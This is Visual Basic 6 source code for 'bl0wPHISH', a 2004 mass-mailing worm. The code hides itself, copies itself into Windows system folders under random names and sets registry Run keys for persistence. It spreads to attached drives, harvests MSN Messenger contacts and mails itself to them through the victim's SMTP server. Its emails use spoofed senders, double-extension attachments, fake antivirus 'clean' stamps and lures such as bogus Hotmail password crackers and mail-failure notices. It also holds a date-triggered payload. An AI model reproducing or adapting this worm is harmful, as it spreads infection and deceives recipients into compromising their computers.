' /***********************************\
' /************ fr0zen c0re ************\
'|******* bl0wPHiSH v 1 by phr0st *******|
'|***************** 2004 ****************|
' \** eXpect more life in the future. **/
' \***********************************/
Private WithEvents objMessenger As MessengerAPI.Messenger
Private MsgrContacts As IMessengerContacts
Dim MsgrServices As IMessengerServices
Dim MsgrService As IMessengerService
Dim Status As Integer
Private Enum SMTP_State
MAIL_CONNECT
MAIL_HELO
MAIL_FROM
MAIL_FROM1
MAIL_FROM2
MAIL_RCPTTO
MAIL_DATA
MAIL_DOT
MAIL_QUIT
End Enum
Private m_State As SMTP_State
Private m_strEncodedFiles As String
Private Sub Form_Load()
On Error Resume Next
Set objMessenger = New MessengerAPI.Messenger
Set MsgrServices = objMessenger.Services
Dim FileName, wOrmDirName, wOrmFileName, wOrmStr, MessStr As String
Form1.Hide
FileName = App.Path & "\" & App.EXEName & ".exe"
If FileExists("C:\Command.exe") = True Then GoTo SkipHide
Call removefromCAD
SkipHide:
Call Check_Drives(False)
Call Inf_Drives(FileName, "bl0wPHISH.doc .exe")
FileName = App.Path & "\" & App.EXEName & ".exe"
wOrmDirName0 = Array("C:\Windows\System32\", "C:\Windows\", "C:\Windows\Fonts\")
wOrmDirName = wOrmDirName0(NumGen(0, UBound(wOrmDirName0)))
wOrmFileName = RanName()
wOrmStr = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot")
If wOrmStr = "bl0wPHISH" Then
FileCopy FileName, wOrmDirName & wOrmFileName
w0rmStr = wOrmDirName & wOrmFileName
Call RegistryWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)
Call RegistryWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)
Call RegistryWrite("HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)
End If
MessStr = RegExists("HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\User.NET Messenger Service")
If MessStr = "bl0wPHISH" Then GoTo SkipCheck
Timer3.Interval = 50
SkipCheck:
If RegExists("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH") = "bl0wPHISH" Then Exit Sub
Call PayloadCheck
End Sub
Function MessageGen()
subject = Array("bl0wPHISH", "Hotmail Account Hacker", "Hotmail Hack", "Learn to Hack Hotmail", "Hotmail Hacking Tool", "Hack MSN Messenger" _
, "Your Login Details", "Sale Receipt", "Your Details", "You Have been Hacked!", "Your E-Bay Account", "All Along the WatchTower" _
, "Mail Delivery Failure : Message returned", "Mail delivery failed : returning message to sender", "Mail Send Fail", "Mail Server Error", "Delivery Error", "Server Failure")
a = NumGen(0, UBound(subject))
SubjectPart0 = subject(a)
If a >= 0 And a <= 5 Then
from1 = Array("promotions", "promote", "hotmail", "hackers", "games", "online", "awsome", "special", "tools")
from2 = Array("@HACKonline", "@blowPHISH", "@explosive", "@hackersclass", "@IGU", "@HACKandCRACK")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))
SpecPart0 = Array("[McAffe Online Virus Scan] Clean.", "Norton System Scan - Email and attachments clean" _
, "Exclusive email list", "@bl0wPHISH Hacking Tools" _
, "[Panda AV Scanned] - email and attachments clean", "-Leaked hacking tool from bl0wPHISH-", "[Symantec Online scan] 100% Clean")
SubjectAft = Array(" - hack any msn account.", ", Welcome to the Revolution!", "; Join the masses now!" _
, " : best Hotmail cracker ever.", " - Were JAMMIN! were JAMMIN! were JAMMIN!")
SubjectPart2 = SubjectAft(NumGen(0, UBound(SubjectAft)))
SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))
MessageChoice = Array(SpecPart & Chr(10) & Chr(10) & SubjectPart0 & "Have you ever wanted to see just who your girl/boyfriend really is emailing? Well here is your chance. This hotmail account cracking tool exclusive from bl0wPHISH allows you just that power, the power to gain the password to any hotmail account. Attached to this email is a free trial, try it today." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Are you wondering just what your Spouse really is up to in those late night chat sessions. Find out what they really are doing on MSN Messenger with this free account password cracker from bl0wPHISH, attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Don't mess about wasting time tring to guess peoples secret questions. With this free tool from bl0wPHISH you can quickly and easily crack any hotmail account password that you require. The installer for the cracker is attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Has some annoying little kid being annoying you on MSN Messenger? Want revenge? Well if you do here is the tool for you. This hotmail account cracker allows you to gain any account password you like. The quick and easy user interface makes it simple for even a computer newbie to start hacking! Attached to this email is the installer for the cracker." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Ever wanted to hack your friend's Hotmail account? Well witht his exclusive program from bl0wPHISH you can do just that. THe cracker allows you to gain any password to any Hotmail account. Even a computer newbie can use it, it's so easy. The cracker installation is attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Do you wanna hack? Do you wanna hack hotmail? Well if you do here is the perfect program for you. The cracker allows you instant access to any hotmail account you like. To install a free trial download the attached file supplied with this email." & Chr(10) & Chr(10) & SpecPart _
, "bl0wPHISH - toxic beyond belief.")
txtFromPart.Text = frompart1 & frompart2 & frompart3
txtSubjectPart.Text = SubjectPart0 & SubjectPart2
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".ins .exe"
Call SendMessage
End If
If a > 5 And a <= 11 Then
from1 = Array("details", "sent", "mail", "server", "confidential", "remail", "closed", "private")
from2 = Array("@secure", "@blowPHISH", "@micr0", "@ebay", "@anonymous", "@12345")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))
txtFromPart.Text = frompart1 & frompart2 & frompart3
FromPart = txtFromPart.Text
SpecPart0 = Array("They are in Rich text format", "This is a server generated message,please do not reply." _
, "bl0wPHISH email servers handled the request.", "The details are highly confidential and have been treated as such." _
, "SIIICK Encryption standard used in transfer.", "This message was created automatically by mail delivery software.")
SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))
MessageChoice = Array("<<..< " & FromPart & " >..>>" & Chr(10) & Chr(10) & Chr(10) & _
"The details are attached to this email. They are confidential and have been sent through a secure server. " & SpecPart & ". Open the attachment to view." _
& Chr(10) & Chr(10) & Chr(10) & "<\/<< " & FromPart & " >>\/>" _
, "<<\<< " & FromPart & " >>/>>" & Chr(10) & Chr(10) & Chr(10) & _
"Your requested details are attached. " & SpecPart & ".They have been delivered though a secure remailer to ensure confidentiality." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"We have forwarded your details through to you. To view them open the attachment. " & SpecPart & " A secure mailserver was used for delivery." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"To view your requested details open the attached document. " & SpecPart & " The details were forwarded through a secure remailer to keep your details confidential." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"See attachment for details " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"Open the attachment for more details, they were sent though a secure server. " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"Your confidential details have been attached. " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "bl0wPHISH - toxic beyond belief.")
txtSubjectPart.Text = SubjectPart0
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".doc .exe"
Call SendMessage
End If
If a > 11 And a <= 17 Then
from1 = Array("delivery", "sent", "mail", "server", "mailserver", "remail", "errors", "notification")
from2 = Array("@secure", "@blowPHISH", "@mailcheck", "@failed", "@mailstatus", "@status")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))
SpecPart0 = Array("@'. Internal Server Error .'@", "-----[Automated Responce]-----" _
, "MailServer Responce . 012933 error service", "_-_@bl0wPHISH mailserver FAILURE .01_5" _
, "..023_87 mail return/server", "_errornumber 34/2 Mail Failed.", "-Mail Return Server-")
SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))
MessageChoice = Array(SpecPart & Chr(10) & Chr(10) & "Your mail was unable to be delivered. There was an internal server error, please try later. Your returned mail is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "There was a server error, your mail was undelivered. The server has rebounded your mail attempt. Your sent email is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail delivery report. FAILURE. To view your returned mail please view the attachment." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail server down. Your mail server is experiencing technical difficulties. Please try again leter, your rebounded mail is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Failed delivery of mail. Mail details attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Terminal Server Error. Your computer has been identified as a possible source. For further details view the attached email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail delivery failure. Unfortunatly your mail was left undelivered by your server. Your mail has been forwared back to you as an attachment." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "A message that you sent could not be delivered to all of its recipients." & Chr(10) & Chr(10) & "A copy of the E-mail has been attached" & Chr(10) & Chr(10) & SpecPart _
, "bl0wPHISH - toxic beyond belief.")
txtFromPart.Text = frompart1 & frompart2 & frompart3
txtSubjectPart.Text = SubjectPart0
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".eml .exe"
Call SendMessage
End If
End Function
Private Sub SendMessage()
Dim smtpString
smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\SMTP Server")
If smtpString = "bl0wPHISH" Then
GoTo smtpString2
Else
GoTo connectSMTP
End If
smtpString2:
smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000001\SMTP Server")
If smtpString = "bl0wPHISH" Then
GoTo smtpString3
Else
GoTo connectSMTP
End If
smtpString3:
smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000002\SMTP Server")
If smtpString = "bl0wPHISH" Then
Else
GoTo connectSMTP
End If
connectSMTP:
File = App.Path & "\" & App.EXEName & ".exe"
m_strEncodedFiles = UUEncodeFile(File)
Winsock1.Connect smtpString, 25
m_State = MAIL_CONNECT
End Sub
Private Sub Check_Drives(Check As Boolean)
On Error Resume Next
Set fs = CreateObject("scripting.filesystemobject")
For Each d In fs.drives
DriveString = DriveString & d
Next
If Check = True Then
If DriveString = txtDriveString.Text Then
Exit Sub
Else
FileName = App.Path & "\" & App.EXEName & ".exe"
Call Inf_Drives(FileName, "bl0wPHISH.doc .exe")
txtDriveString.Text = DriveString
End If
Else
txtDriveString.Text = DriveString
End If
End Sub
Private Sub PayloadCheck()
Dim K As Integer, Day As Integer
Day = DatePart("d", Date)
If Day = 30 Then
K = NumGen(0, 4)
If K = 1 Then
Me.Tag = 0
GoTo Load
End If
If K = 2 Then
Me.Tag = 1
GoTo Load
End If
If K = 3 Then
Me.Tag = 2
GoTo Load
End If
End If
Exit Sub
Load:
frmPayload.doeffect
End Sub
Private Sub Timer1_Timer()
Check_Drives (True)
End Sub
Private Sub Timer2_Timer()
If RegExists("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH") = "bl0wPHISH" Then
Dim MsgrContacts As IMessengerContacts
Dim MsgrContact As IMessengerContact
Set MsgrContacts = objMessenger.MyContacts
If List1.ListCount > 1 Then Exit Sub
For Each MsgrContact In MsgrContacts
List1.AddItem "<" & MsgrContact.SigninName & ">"
Next
List1.ListIndex = (List1.ListCount - 1)
Call MessageGen
Call RegistryWrite("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH", "1!")
End If
End Sub
Private Sub Timer3_Timer()
Set MsgrService = MsgrServices.PrimaryService
Status = MsgrService.MyStatus
If Status = 2 Or Status = 10 Or Status = 14 Or Status = 34 Or Status = 50 Or Status = 66 Or Status = 6 Then GoTo SetTimer
Exit Sub
SetTimer:
Timer2.Interval = 100
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
Dim retval As Long
retval = EnumWindows(AddressOf EnumWindowsProc, 0)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim msgSerRes As String
Dim msgResCode As String
Dim msgData As String
Winsock1.GetData msgSerRes
msgResCode = Left(msgSerRes, 3)
If msgResCode = "250" Or _
msgResCode = "220" Or _
msgResCode = "354" Then
Select Case m_State
Case MAIL_CONNECT
m_State = MAIL_HELO
Winsock1.SendData "HELO " & Winsock1.LocalHostName & vbCrLf
Case MAIL_HELO
m_State = MAIL_FROM
Winsock1.SendData "MAIL FROM:" & txtFromPart.Text & vbCrLf
Case MAIL_FROM
If List1.ListIndex = 0 Then
m_State = MAIL_RCPTTO
Winsock1.SendData "RCPT TO:" & List1.Text & vbCrLf
Else
Winsock1.SendData "RCPT TO:" & List1.Text & vbCrLf
List1.RemoveItem (List1.ListIndex)
List1.ListIndex = (List1.ListCount - 1)
End If
Case MAIL_RCPTTO
m_State = MAIL_DATA
Winsock1.SendData "DATA" & vbCrLf
Case MAIL_DATA
m_State = MAIL_DOT
Winsock1.SendData "From: <" & txtFromPart.Text & ">" & vbCrLf & _
"Subject: " & txtSubjectPart.Text & vbCrLf & _
"Mime-Version: 1.0" & vbCrLf & _
"X-Mailer: bl0wPHISH v_0.12" & vbCrLf & _
"Content-Type: text/html" & vbTab & "charset=us-ascii" & vbCrLf & vbCrLf
Dim varLines As Variant
Dim varLine As Variant
Dim strMessage As String
strMessage = txtMessagePart.Text & vbCrLf & vbCrLf & "begin 664 " & txtAttachName.Text & vbLf & m_strEncodedFiles
varLines = Split(strMessage, vbCrLf)
strMessage = ""
For Each varLine In varLines
Winsock1.SendData CStr(varLine) & vbLf
Next
Winsock1.SendData "." & vbCrLf
Case MAIL_DOT
m_State = MAIL_QUIT
Winsock1.SendData "QUIT" & vbCrLf
Case MAIL_QUIT
Winsock1.Close
End Select
Else
Winsock1.Close
End If
End Sub